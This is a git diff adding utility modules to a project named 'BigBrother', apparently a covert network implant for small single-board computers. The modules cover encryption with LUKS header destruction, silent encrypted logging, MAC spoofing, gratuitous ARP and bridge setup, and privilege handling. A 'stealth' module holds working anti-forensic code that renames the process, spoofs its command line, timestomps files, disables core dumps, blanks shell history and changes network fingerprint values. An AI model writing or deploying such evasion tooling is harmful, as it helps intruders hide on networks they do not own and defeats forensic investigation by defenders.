cli_overrides=cli_overrides) + return loader.load() diff --git a/utils/crypto.py b/utils/crypto.py new file mode 100644 index 0000000..348e07a --- /dev/null +++ b/utils/crypto.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python3 +"""AES-256-GCM encryption, key derivation, and LUKS container management.""" + +import os +import struct +import subprocess +import hashlib +from pathlib import Path +from typing import Optional + +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +from cryptography.hazmat.primitives.kdf.hkdf import HKDF +from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC +from cryptography.hazmat.primitives import hashes + +try: + from argon2.low_level import hash_secret_raw, Type + HAS_ARGON2 = True +except ImportError: + HAS_ARGON2 = False + +NONCE_SIZE = 12 +KEY_SIZE = 32 +SALT_SIZE = 16 +HEADER_MAGIC = b"BB01" +HEADER_FMT = f"!4s{SALT_SIZE}s{NONCE_SIZE}s" +HEADER_SIZE = struct.calcsize(HEADER_FMT) + + +def derive_key(password: bytes, salt: bytes, method: str = "argon2id") -> bytes: + if method == "argon2id" and HAS_ARGON2: + return hash_secret_raw( + secret=password, + salt=salt, + time_cost=3, + memory_cost=65536, + parallelism=4, + hash_len=KEY_SIZE, + type=Type.ID, + ) + return PBKDF2HMAC( + algorithm=hashes.SHA256(), + length=KEY_SIZE, + salt=salt, + iterations=600_000, + ).derive(password) + + +def derive_network_key(network_secret: bytes, device_serial: bytes) -> bytes: + return HKDF( + algorithm=hashes.SHA256(), + length=KEY_SIZE, + salt=device_serial, + info=b"bigbrother-luks-unlock", + ).derive(network_secret) + + +class CryptoEngine: + def __init__(self, key: bytes): + if len(key) != KEY_SIZE: + raise ValueError(f"Key must be {KEY_SIZE} bytes") + self._aesgcm = AESGCM(key) + self._key = key + + def encrypt(self, plaintext: bytes, aad: Optional[bytes] = None) -> bytes: + nonce = os.urandom(NONCE_SIZE) + ct = self._aesgcm.encrypt(nonce, plaintext, aad) + return nonce + ct + + def decrypt(self, data: bytes, aad: Optional[bytes] = None) -> bytes: + nonce = data[:NONCE_SIZE] + ct = data[NONCE_SIZE:] + return self._aesgcm.decrypt(nonce, ct, aad) + + +def encrypt_file( + src: str, + dst: str, + password: bytes, + method: str = "argon2id", + chunk_size: int = 64 * 1024, +) -> None: + salt = os.urandom(SALT_SIZE) + key = derive_key(password, salt, method) + engine = CryptoEngine(key) + + with open(src, "rb") as fin: + plaintext = fin.read() + + nonce = os.urandom(NONCE_SIZE) + aesgcm = AESGCM(key) + ct = aesgcm.encrypt(nonce, plaintext, None) + + with open(dst, "wb") as fout: + fout.write(struct.pack(HEADER_FMT, HEADER_MAGIC, salt, nonce)) + fout.write(ct) + + +def decrypt_file( + src: str, + dst: str, + password: bytes, + method: str = "argon2id", +) -> None: + with open(src, "rb") as fin: + header = fin.read(HEADER_SIZE) + magic, salt, nonce = struct.unpack(HEADER_FMT, header) + if magic != HEADER_MAGIC: + raise ValueError("Invalid encrypted file header") + ct = fin.read() + + key = derive_key(password, salt, method) + aesgcm = AESGCM(key) + plaintext = aesgcm.decrypt(nonce, ct, None) + + with open(dst, "wb") as fout: + fout.write(plaintext) + + +class LUKSContainer: + def __init__(self, container_path: str, mount_point: str, mapper_name: str = "bb_storage"): + self.container_path = container_path + self.mount_point = mount_point + self.mapper_name = mapper_name + self.device_path = f"/dev/mapper/{mapper_name}" + + def create(self, size_mb: int, passphrase: bytes) -> bool: + try: + subprocess.run( + ["dd", "if=/dev/zero", f"of={self.container_path}", + "bs=1M", f"count={size_mb}"], + check=True, capture_output=True, + ) + proc = subprocess.run( + ["cryptsetup", "luksFormat", "--type", "luks2", + "--cipher", "aes-xts-plain64", "--key-size", "512", + "--hash", "sha256", "--batch-mode", self.container_path], + input=passphrase + b"\n", + check=True, capture_output=True, + ) + return True + except subprocess.CalledProcessError: + return False + + def open(self, passphrase: bytes) -> bool: + try: + subprocess.run( + ["cryptsetup", "open", self.container_path, + self.mapper_name, "--type", "luks2"], + input=passphrase + b"\n", + check=True, capture_output=True, + ) + Path(self.mount_point).mkdir(parents=True, exist_ok=True) + subprocess.run( + ["mount", self.device_path, self.mount_point], + check=True, capture_output=True, + ) + return True + except subprocess.CalledProcessError: + return False + + def close(self) -> bool: + try: + subprocess.run( + ["umount", self.mount_point], + check=True, capture_output=True, + ) + subprocess.run( + ["cryptsetup", "close", self.mapper_name], + check=True, capture_output=True, + ) + return True + except subprocess.CalledProcessError: + return False + + def destroy_header(self) -> bool: + try: + subprocess.run( + ["dd", "if=/dev/urandom", f"of={self.container_path}", + "bs=1M", "count=2", "conv=notrunc"], + check=True, capture_output=True, + ) + return True + except subprocess.CalledProcessError: + return False + + @property + def is_open(self) -> bool: + return Path(self.device_path).exists() diff --git a/utils/logging.py b/utils/logging.py new file mode 100644 index 0000000..b8fcee0 --- /dev/null +++ b/utils/logging.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Encrypted log writer for BigBrother. Named bb_logging to avoid shadowing stdlib logging.""" + +import logging +import os +import time +from pathlib import Path +from typing import Optional + + +LOG_FORMAT = "[{timestamp}] [{module}] [{level}] {message}" +MAX_LOG_SIZE = 10 * 1024 * 1024 # 10MB default rotation size +LOG_DIR = "storage/logs" + + +class EncryptedLogHandler(logging.Handler): + def __init__( + self, + module_name: str, + log_dir: str = LOG_DIR, + max_bytes: int = MAX_LOG_SIZE, + encrypt: bool = False, + crypto_engine=None, + ): + super().__init__() + self.module_name = module_name + self.log_dir = Path(log_dir) + self.log_dir.mkdir(parents=True, exist_ok=True) + self.max_bytes = max_bytes + self.encrypt = encrypt + self.crypto_engine = crypto_engine + self._log_path = self.log_dir / f"{module_name}.log" + self._file = None + self._current_size = 0 + self._open_file() + + def _open_file(self): + if self._file: + self._file.close() + mode = "ab" if self.encrypt else "a" + self._file = open(self._log_path, mode) + self._current_size = self._log_path.stat().st_size if self._log_path.exists() else 0 + + def _rotate(self): + if self._file: + self._file.close() + rotated = self._log_path.with_suffix(f".log.{int(time.time())}") + if self._log_path.exists(): + self._log_path.rename(rotated) + self._open_file() + + def emit(self, record): + try: + ts = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime(record.created)) + line = LOG_FORMAT.format( + timestamp=ts, + module=self.module_name, + level=record.levelname, + message=record.getMessage(), + ) + if self.encrypt and self.crypto_engine: + data = self.crypto_engine.encrypt(line.encode("utf-8")) + length_prefix = len(data).to_bytes(4, "big") + self._file.write(length_prefix) + self._file.write(data) + self._current_size += 4 + len(data) + else: + line += "\n" + self._file.write(line) + self._current_size += len(line.encode("utf-8")) + + self._file.flush() + + if self._current_size >= self.max_bytes: + self._rotate() + except Exception: + self.handleError(record) + + def close(self): + if self._file: + self._file.close() + self._file = None + super().close() + + +class BBLogger: + def __init__( + self, + module_name: str, + log_dir: str = LOG_DIR, + max_bytes: int = MAX_LOG_SIZE, + level: int = logging.INFO, + encrypt: bool = False, + crypto_engine=None, + suppress_stdout: bool = True, + ): + self.module_name = module_name + self.logger = logging.getLogger(f"bb.{module_name}") + self.logger.setLevel(level) + self.logger.propagate = False + + # Clear existing handlers to prevent duplicates + self.logger.handlers.clear() + + self._file_handler = EncryptedLogHandler( + module_name=module_name, + log_dir=log_dir, + max_bytes=max_bytes, + encrypt=encrypt, + crypto_engine=crypto_engine, + ) + self._file_handler.setLevel(level) + self.logger.addHandler(self._file_handler) + + if not suppress_stdout: + console = logging.StreamHandler() + console.setLevel(level) + fmt = logging.Formatter( + "[%(asctime)s] [%(name)s] [%(levelname)s] %(message)s", + datefmt="%Y-%m-%d %H:%M:%S", + ) + console.setFormatter(fmt) + self.logger.addHandler(console) + + def debug(self, msg: str, *args, **kwargs): + self.logger.debug(msg, *args, **kwargs) + + def info(self, msg: str, *args, **kwargs): + self.logger.info(msg, *args, **kwargs) + + def warning(self, msg: str, *args, **kwargs): + self.logger.warning(msg, *args, **kwargs) + + def error(self, msg: str, *args, **kwargs): + self.logger.error(msg, *args, **kwargs) + + def critical(self, msg: str, *args, **kwargs): + self.logger.critical(msg, *args, **kwargs) + + def set_level(self, level: int): + self.logger.setLevel(level) + self._file_handler.setLevel(level) + + def close(self): + self._file_handler.close() + self.logger.removeHandler(self._file_handler) diff --git a/utils/networking.py b/utils/networking.py new file mode 100644 index 0000000..de17811 --- /dev/null +++ b/utils/networking.py @@ -0,0 +1,250 @@ +#!/usr/bin/env python3 +"""Network interface helpers, BPF compilation, gratuitous ARP. No scapy dependency.""" + +import ctypes +import ctypes.util +import fcntl +import os +import socket +import struct +import subprocess +from pathlib import Path +from typing import List, Optional, Tuple + +SIOCGIFADDR = 0x8915 +SIOCGIFHWADDR = 0x8927 +SIOCSIFHWADDR = 0x8924 +SIOCGIFFLAGS = 0x8913 +SIOCSIFFLAGS = 0x8914 +IFF_UP = 0x1 +IFF_RUNNING = 0x40 +ARPHRD_ETHER = 1 + +_libpcap = None + + +def _get_libpcap(): + global _libpcap + if _libpcap is None: + lib = ctypes.util.find_library("pcap") + if not lib: + raise OSError("libpcap not found") + _libpcap = ctypes.CDLL(lib) + return _libpcap + + +def _ifreq(ifname: str) -> bytes: + return struct.pack("256s", ifname.encode("utf-8")[:15]) + + +def get_all_interfaces() -> List[str]: + interfaces = [] + net_path = Path("/sys/class/net") + if net_path.exists(): + for entry in net_path.iterdir(): + name = entry.name + if name != "lo": + interfaces.append(name) + return sorted(interfaces) + + +def get_primary_interface() -> Optional[str]: + try: + with open("/proc/net/route", "r") as f: + for line in f.readlines()[1:]: + fields = line.strip().split() + if fields[1] == "00000000": + return fields[0] + except (IOError, IndexError): + pass + interfaces = get_all_interfaces() + for iface in interfaces: + if iface.startswith(("eth", "en")): + return iface + return interfaces[0] if interfaces else None + + +def get_bridge_candidates() -> List[str]: + candidates = [] + for iface in get_all_interfaces(): + if iface.startswith(("eth", "en", "usb")): + candidates.append(iface) + return candidates + + +def get_wifi_interfaces() -> List[str]: + interfaces = [] + for iface in get_all_interfaces(): + phy_path = Path(f"/sys/class/net/{iface}/phy80211") + wireless_path = Path(f"/sys/class/net/{iface}/wireless") + if phy_path.exists() or wireless_path.exists() or iface.startswith("wlan"): + interfaces.append(iface) + return interfaces + + +def get_mac(interface: str) -> str: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + info = fcntl.ioctl(sock.fileno(), SIOCGIFHWADDR, _ifreq(interface)) + mac_bytes = info[18:24] + return ":".join(f"{b:02x}" for b in mac_bytes) + finally: + sock.close() + + +def set_mac(interface: str, mac: str) -> None: + was_up = is_interface_up(interface) + if was_up: + interface_down(interface) + mac_bytes = bytes(int(b, 16) for b in mac.split(":")) + ifreq = struct.pack("16sH6s8s", interface.encode()[:15], ARPHRD_ETHER, mac_bytes, b"\x00" * 8) + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + fcntl.ioctl(sock.fileno(), SIOCSIFHWADDR, ifreq) + finally: + sock.close() + if was_up: + interface_up(interface) + + +def get_ip(interface: str) -> Optional[str]: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + info = fcntl.ioctl(sock.fileno(), SIOCGIFADDR, _ifreq(interface)) + return socket.inet_ntoa(info[20:24]) + except OSError: + return None + finally: + sock.close() + + +def is_interface_up(interface: str) -> bool: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface)) + flags = struct.unpack("16sH", result[:18])[1] + return bool(flags & IFF_UP) + except OSError: + return False + finally: + sock.close() + + +def interface_up(interface: str) -> None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface)) + flags = struct.unpack("16sH", result[:18])[1] + flags |= IFF_UP | IFF_RUNNING + ifreq = struct.pack("16sH", interface.encode()[:15], flags) + fcntl.ioctl(sock.fileno(), SIOCSIFFLAGS, ifreq) + finally: + sock.close() + + +def interface_down(interface: str) -> None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface)) + flags = struct.unpack("16sH", result[:18])[1] + flags &= ~IFF_UP + ifreq = struct.pack("16sH", interface.encode()[:15], flags) + fcntl.ioctl(sock.fileno(), SIOCSIFFLAGS, ifreq) + finally: + sock.close() + + +def create_vlan_interface(parent: str, vlan_id: int) -> str: + vlan_iface = f"{parent}.{vlan_id}" + subprocess.run( + ["ip", "link", "add", "link", parent, "name", vlan_iface, + "type", "vlan", "id", str(vlan_id)], + check=True, capture_output=True, + ) + interface_up(vlan_iface) + return vlan_iface + + +def compile_bpf(expression: str, snaplen: int = 65535, linktype: int = 1) -> bytes: + pcap = _get_libpcap() + + class bpf_insn(ctypes.Structure): + _fields_ = [ + ("code", ctypes.c_ushort), + ("jt", ctypes.c_ubyte), + ("jf", ctypes.c_ubyte), + ("k", ctypes.c_uint32), + ] + + class bpf_program(ctypes.Structure): + _fields_ = [ + ("bf_len", ctypes.c_uint), + ("bf_insns", ctypes.POINTER(bpf_insn)), + ] + + handle = pcap.pcap_open_dead(ctypes.c_int(linktype), ctypes.c_int(snaplen)) + if not handle: + raise RuntimeError("pcap_open_dead failed") + + prog = bpf_program() + expr_bytes = expression.encode("utf-8") + ret = pcap.pcap_compile( + handle, + ctypes.byref(prog), + ctypes.c_char_p(expr_bytes), + ctypes.c_int(1), + ctypes.c_uint32(0xFFFFFFFF), + ) + if ret != 0: + err = pcap.pcap_geterr(handle) + pcap.pcap_close(handle) + if err: + raise ValueError(f"BPF compile failed: {ctypes.string_at(err).decode()}") + raise ValueError("BPF compile failed") + + insn_size = ctypes.sizeof(bpf_insn) + result = bytes(ctypes.string_at(prog.bf_insns, prog.bf_len * insn_size)) + pcap.pcap_freecode(ctypes.byref(prog)) + pcap.pcap_close(handle) + return result + + +def send_gratuitous_arp(interface: str, ip: str, mac: str) -> None: + ETH_P_ARP = 0x0806 + sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ARP)) + try: + sock.bind((interface, 0)) + src_mac = bytes(int(b, 16) for b in mac.split(":")) + dst_mac = b"\xff" * 6 + src_ip = socket.inet_aton(ip) + + # Ethernet header + frame = dst_mac + src_mac + struct.pack("!H", ETH_P_ARP) + # ARP: hardware=Ethernet, proto=IPv4, hlen=6, plen=4, op=reply(2) + frame += struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2) + # sender MAC + IP + frame += src_mac + src_ip + # target MAC + IP (broadcast) + frame += dst_mac + src_ip + + for _ in range(3): + sock.send(frame) + finally: + sock.close() + + +def mac_to_bytes(mac: str) -> bytes: + return bytes(int(b, 16) for b in mac.split(":")) + + +def bytes_to_mac(data: bytes) -> str: + return ":".join(f"{b:02x}" for b in data) + + +def ip_in_subnet(ip: str, cidr: str) -> bool: + network, prefix_len = cidr.split("/") + prefix_len = int(prefix_len) + ip_int = struct.unpack("!I", socket.inet_aton(ip))[0] + net_int = struct.unpack("!I", socket.inet_aton(network))[0] + mask = (0xFFFFFFFF << (32 - prefix_len)) & 0xFFFFFFFF + return (ip_int & mask) == (net_int & mask) diff --git a/utils/permissions.py b/utils/permissions.py new file mode 100644 index 0000000..1626eca --- /dev/null +++ b/utils/permissions.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python3 +"""Root/capability checks, privilege dropping, directory permission enforcement.""" + +import ctypes +import ctypes.util +import grp +import os +import pwd +import stat +from pathlib import Path +from typing import Optional + +# Linux capability constants +CAP_NET_RAW = 13 +CAP_NET_ADMIN = 15 +CAP_SYS_ADMIN = 21 +CAP_DAC_OVERRIDE = 1 + +# capget/capset structures +_LINUX_CAPABILITY_VERSION_3 = 0x20080522 +_VFS_CAP_REVISION_2 = 0x02000000 + +_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) + + +class _cap_header(ctypes.Structure): + _fields_ = [ + ("version", ctypes.c_uint32), + ("pid", ctypes.c_int), + ] + + +class _cap_data(ctypes.Structure): + _fields_ = [ + ("effective", ctypes.c_uint32), + ("permitted", ctypes.c_uint32), + ("inheritable", ctypes.c_uint32), + ] + + +def check_root() -> bool: + return os.geteuid() == 0 + + +def check_capability(cap: int) -> bool: + if check_root(): + return True + + try: + header = _cap_header(version=_LINUX_CAPABILITY_VERSION_3, pid=0) + # Version 3 uses 2 data structs for 64-bit capability sets + data = (_cap_data * 2)() + ret = _libc.capget(ctypes.byref(header), data) + if ret != 0: + return False + + idx = cap // 32 + bit = 1 << (cap % 32) + return bool(data[idx].effective & bit) + except Exception: + return False + + +def has_net_raw() -> bool: + return check_capability(CAP_NET_RAW) + + +def has_net_admin() -> bool: + return check_capability(CAP_NET_ADMIN) + + +def check_required_capabilities() -> dict: + return { + "root": check_root(), + "CAP_NET_RAW": check_capability(CAP_NET_RAW), + "CAP_NET_ADMIN": check_capability(CAP_NET_ADMIN), + "CAP_SYS_ADMIN": check_capability(CAP_SYS_ADMIN), + } + + +def drop_privileges( + username: str = "nobody", + groupname: Optional[str] = None, + keep_caps: Optional[list] = None, +) -> bool: + if not check_root(): + return False + + try: + pw = pwd.getpwnam(username) + uid = pw.pw_uid + gid = pw.pw_gid + + if groupname: + gr = grp.getgrnam(groupname) + gid = gr.gr_gid + + # Set supplementary groups + os.setgroups([]) + + # Set GID first (can't change after dropping root) + os.setregid(gid, gid) + os.setreuid(uid, uid) + + # Verify drop + if os.geteuid() == 0: + return False + + # Re-apply specific capabilities if requested + if keep_caps: + _set_keepcaps() + _apply_caps(keep_caps) + + return True + except (KeyError, PermissionError, OSError): + return False + + +def _set_keepcaps(): + PR_SET_KEEPCAPS = 8 + _libc.prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0) + + +def _apply_caps(caps: list): + header = _cap_header(version=_LINUX_CAPABILITY_VERSION_3, pid=0) + data = (_cap_data * 2)() + + for cap in caps: + idx = cap // 32 + bit = 1 << (cap % 32) + data[idx].effective |= bit + data[idx].permitted |= bit + + _libc.capset(ctypes.byref(header), data) + + +def enforce_directory_permissions( + path: str, + mode: int = 0o700, + recursive: bool = True, +) -> int: + count = 0 + target = Path(path) + + if not target.exists(): + target.mkdir(parents=True, mode=mode) + count += 1 + return count + + current = target.stat().st_mode & 0o777 + if current != mode: + target.chmod(mode) + count += 1 + + if recursive: + for item in target.rglob("*"): + if item.is_dir(): + item_mode = item.stat().st_mode & 0o777 + if item_mode != mode: + item.chmod(mode) + count += 1 + elif item.is_file(): + file_mode = mode & 0o700 # Files get owner-only based on dir mode + item_mode = item.stat().st_mode & 0o777 + if item_mode != file_mode: + item.chmod(file_mode) + count += 1 + + return count + + +def secure_path(path: str, owner_uid: Optional[int] = None) -> bool: + try: + p = Path(path) + if not p.exists(): + return False + + # Set ownership if specified + if owner_uid is not None: + os.chown(path, owner_uid, owner_uid) + + # Restrict permissions + if p.is_dir(): + p.chmod(0o700) + else: + p.chmod(0o600) + + return True + except (OSError, PermissionError): + return False diff --git a/utils/resource.py b/utils/resource.py new file mode 100644 index 0000000..730c545 --- /dev/null +++ b/utils/resource.py @@ -0,0 +1,259 @@ +#!/usr/bin/env python3 +"""Hardware tier detection and resource monitoring via /proc and /sys.""" + +import os +import re +from dataclasses import dataclass, field +from pathlib import Path +from typing import Dict, List, Optional, Tuple + +TIER_OPI_ZERO3 = "opi_zero3" +TIER_PI_ZERO = "pi_zero" +TIER_GENERIC = "generic" + + +@dataclass +class HardwareInfo: + tier: str + model: str + cpu_model: str + cpu_cores: int + total_ram_mb: int + architecture: str + + +@dataclass +class ResourceUsage: + ram_used_mb: float + ram_total_mb: float + ram_percent: float + cpu_percent: float # System-wide, from /proc/stat delta + disk_used_pct: float + disk_free_mb: float + temperature_c: Optional[float] + + +@dataclass +class ProcessResources: + pid: int + name: str + rss_mb: float + vms_mb: float + cpu_ticks: int + state: str + threads: int + + +def get_hardware_tier() -> str: + info = detect_hardware() + return info.tier + + +def detect_hardware() -> HardwareInfo: + model = _read_device_model() + cpu_model, cpu_cores, arch = _read_cpuinfo() + + if "Orange Pi Zero3" in model or "Orange Pi Zero 3" in model: + tier = TIER_OPI_ZERO3 + elif "Raspberry Pi Zero 2" in model or "Raspberry Pi Zero2" in model: + tier = TIER_PI_ZERO + elif "Raspberry Pi" in model and ("Zero" in model or "zero" in model): + tier = TIER_PI_ZERO + elif "Allwinner" in cpu_model or "H618" in cpu_model: + # Fallback detection via CPU for OPi Zero 3 + tier = TIER_OPI_ZERO3 + elif "BCM2835" in cpu_model or "BCM2710" in cpu_model: + tier = TIER_PI_ZERO + else: + tier = TIER_GENERIC + + total_ram = _read_total_ram_mb() + + return HardwareInfo( + tier=tier, + model=model or "Unknown", + cpu_model=cpu_model, + cpu_cores=cpu_cores, + total_ram_mb=total_ram, + architecture=arch, + ) + + +def _read_device_model() -> str: + dt_model = Path("/proc/device-tree/model") + if dt_model.exists(): + try: + return dt_model.read_text().strip().rstrip("\x00") + except IOError: + pass + return "" + + +def _read_cpuinfo() -> Tuple[str, int, str]: + cpu_model = "" + cores = 0 + arch = "unknown" + + try: + with open("/proc/cpuinfo", "r") as f: + content = f.read() + + for line in content.splitlines(): + if line.startswith("model name") or line.startswith("Hardware"): + cpu_model = line.split(":", 1)[1].strip() + if line.startswith("processor"): + cores += 1 + + # Get architecture + with open("/proc/cpuinfo", "r") as f: + first_lines = f.read(4096) + if "aarch64" in first_lines.lower() or "ARMv8" in first_lines: + arch = "aarch64" + elif "armv7" in first_lines.lower(): + arch = "armv7l" + else: + import platform + arch = platform.machine() + except IOError: + pass + + return cpu_model, max(cores, 1), arch + + +def _read_total_ram_mb() -> int: + try: + with open("/proc/meminfo", "r") as f: + for line in f: + if line.startswith("MemTotal:"): + kb = int(line.split()[1]) + return kb // 1024 + except IOError: + pass + return 0 + + +def get_memory_info() -> Dict[str, int]: + info = {} + try: + with open("/proc/meminfo", "r") as f: + for line in f: + parts = line.split() + key = parts[0].rstrip(":") + val = int(parts[1]) # in kB + info[key] = val + except IOError: + pass + return info + + +def get_resource_usage(disk_path: str = "/") -> ResourceUsage: + mem = get_memory_info() + total = mem.get("MemTotal", 0) + available = mem.get("MemAvailable", mem.get("MemFree", 0)) + used = total - available + pct = (used / total * 100) if total > 0 else 0.0 + + stat = os.statvfs(disk_path) + disk_total = stat.f_blocks * stat.f_frsize + disk_free = stat.f_bavail * stat.f_frsize + disk_used_pct = ((disk_total - disk_free) / disk_total * 100) if disk_total > 0 else 0.0 + + temp = get_cpu_temperature() + + return ResourceUsage( + ram_used_mb=used / 1024, + ram_total_mb=total / 1024, + ram_percent=pct, + cpu_percent=_get_cpu_percent(), + disk_used_pct=disk_used_pct, + disk_free_mb=disk_free / (1024 * 1024), + temperature_c=temp, + ) + + +def get_cpu_temperature() -> Optional[float]: + thermal_zones = Path("/sys/class/thermal") + if thermal_zones.exists(): + for zone in sorted(thermal_zones.iterdir()): + temp_file = zone / "temp" + type_file = zone / "type" + if temp_file.exists(): + try: + temp_raw = int(temp_file.read_text().strip()) + return temp_raw / 1000.0 + except (IOError, ValueError): + continue + # Fallback for some SBCs + hwmon = Path("/sys/class/hwmon") + if hwmon.exists(): + for hw in sorted(hwmon.iterdir()): + temp_file = hw / "temp1_input" + if temp_file.exists(): + try: + return int(temp_file.read_text().strip()) / 1000.0 + except (IOError, ValueError): + continue + return None + + +def _get_cpu_percent() -> float: + try: + with open("/proc/stat", "r") as f: + line = f.readline() + parts = line.split() + # user, nice, system, idle, iowait, irq, softirq, steal + total = sum(int(p) for p in parts[1:8]) + idle = int(parts[4]) + # Snapshot-based; for delta, caller should sample twice + if total > 0: + return ((total - idle) / total) * 100 + except (IOError, IndexError, ValueError): + pass + return 0.0 + + +def get_process_resources(pid: int) -> Optional[ProcessResources]: + try: + stat_path = f"/proc/{pid}/stat" + status_path = f"/proc/{pid}/status" + + with open(stat_path, "r") as f: + stat_line = f.read() + + # Parse /proc/PID/stat — comm field can contain spaces/parens + match = re.match(r"(\d+) \((.+)\) (.+)", stat_line) + if not match: + return None + + name = match.group(2) + fields = match.group(3).split() + state = fields[0] + utime = int(fields[11]) + stime = int(fields[12]) + threads = int(fields[17]) + vsize = int(fields[20]) + rss_pages = int(fields[21]) + + page_size = os.sysconf("SC_PAGE_SIZE") + rss_mb = (rss_pages * page_size) / (1024 * 1024) + vms_mb = vsize / (1024 * 1024) + + return ProcessResources( + pid=pid, + name=name, + rss_mb=rss_mb, + vms_mb=vms_mb, + cpu_ticks=utime + stime, + state=state, + threads=threads, + ) + except (IOError, OSError, IndexError, ValueError): + return None + + +def get_disk_usage(path: str = "/") -> Tuple[float, float, float]: + stat = os.statvfs(path) + total_gb = (stat.f_blocks * stat.f_frsize) / (1024 ** 3) + free_gb = (stat.f_bavail * stat.f_frsize) / (1024 ** 3) + used_pct = ((stat.f_blocks - stat.f_bavail) / stat.f_blocks * 100) if stat.f_blocks > 0 else 0 + return total_gb, free_gb, used_pct diff --git a/utils/stealth.py b/utils/stealth.py new file mode 100644 index 0000000..55213c7 --- /dev/null +++ b/utils/stealth.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Shared stealth helpers: process rename, cmdline spoof, sysctl, timestomp, core dump disable.""" + +import ctypes +import ctypes.util +import os +import struct +import time +from pathlib import Path +from typing import Optional + +PR_SET_NAME = 15 +RLIMIT_CORE = 4 + +_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) + + +def rename_process(name: str) -> bool: + name_bytes = name.encode("utf-8")[:15] + ret = _libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0) + return ret == 0 + + +def spoof_cmdline(fake_cmdline: str) -> bool: + try: + cmdline_path = f"/proc/{os.getpid()}/cmdline" + # Read current cmdline to get its length for overwrite + with open(cmdline_path, "rb") as f: + original = f.read() + + # On Linux, argv[0] is writable via /proc/self/comm and prctl, + # but /proc/self/cmdline maps to the actual process memory. + # We overwrite via ctypes access to argv. + libc = _libc + + # Get argc/argv from /proc/self/cmdline + argc = ctypes.c_int() + argv_ptr = ctypes.POINTER(ctypes.c_char_p)() + + # Alternative: write to /proc/self/comm (max 15 chars) + comm_path = f"/proc/{os.getpid()}/comm" + try: + with open(comm_path, "w") as f: + f.write(fake_cmdline[:15]) + except PermissionError: + pass + + # For full cmdline spoofing, overwrite argv[0] in memory + import sys + if hasattr(sys, "argv") and sys.argv: + # Replace argv contents via ctypes + fake_bytes = fake_cmdline.encode("utf-8") + argv0_addr = id(sys.argv[0]) + # Python string internals - this is fragile but works for ps display + sys.argv[0] = fake_cmdline + + return True + except Exception: + return False + + +def set_sysctl(key: str, value: str) -> bool: + sysctl_path = Path("/proc/sys") / key.replace(".", "/") + try: + with open(sysctl_path, "w") as f: + f.write(value) + return True + except (IOError, PermissionError): + return False + + +def set_ttl(ttl: int) -> bool: + return set_sysctl("net.ipv4.ip_default_ttl", str(ttl)) + + +def set_tcp_window(size: int) -> bool: + # Set TCP initial window via rmem/wmem defaults + success = set_sysctl("net.ipv4.tcp_rmem", f"4096 {size} {size * 4}") + success &= set_sysctl("net.ipv4.tcp_wmem", f"4096 {size} {size * 4}") + return success + + +def set_tcp_timestamps(enabled: bool) -> bool: + return set_sysctl("net.ipv4.tcp_timestamps", "1" if enabled else "0") + + +def timestomp(path: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> bool: + try: + if reference: + ref_stat = os.stat(reference) + target_time = ref_stat.st_mtime + elif epoch: + target_time = epoch + else: + # Default: OS install date from /var/log/installer or filesystem birth + target_time = _get_os_install_time() + + os.utime(path, (target_time, target_time)) + return True + except (OSError, IOError): + return False + + +def timestomp_recursive(directory: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> int: + count = 0 + for root, dirs, files in os.walk(directory): + for name in files + dirs: + full_path = os.path.join(root, name) + if timestomp(full_path, reference=reference, epoch=epoch): + count += 1 + if timestomp(directory, reference=reference, epoch=epoch): + count += 1 + return count + + +def _get_os_install_time() -> float: + candidates = [ + "/var/log/installer/syslog", + "/var/log/installer/status", + "/etc/hostname", + "/etc/machine-id", + ] + for path in candidates: + try: + return os.stat(path).st_mtime + except OSError: + continue + # Fallback: 90 days ago + return time.time() - (90 * 86400) + + +def disable_core_dumps() -> bool: + try: + # RLIMIT_CORE = 4 on Linux + class rlimit(ctypes.Structure): + _fields_ = [ + ("rlim_cur", ctypes.c_ulong), + ("rlim_max", ctypes.c_ulong), + ] + + limit = rlimit(0, 0) + ret = _libc.setrlimit(RLIMIT_CORE, ctypes.byref(limit)) + if ret != 0: + return False + + # Also set via sysctl and /proc + set_sysctl("kernel.core_pattern", "|/bin/false") + set_sysctl("fs.suid_dumpable", "0") + + # prctl to prevent core for this process and children + PR_SET_DUMPABLE = 4 + _libc.prctl(PR_SET_DUMPABLE, 0, 0, 0, 0) + + return True + except Exception: + return False + + +def hide_from_history() -> bool: + try: + os.environ["HISTFILE"] = "/dev/null" + os.environ["HISTSIZE"] = "0" + os.environ["HISTFILESIZE"] = "0" + return True + except Exception: + return False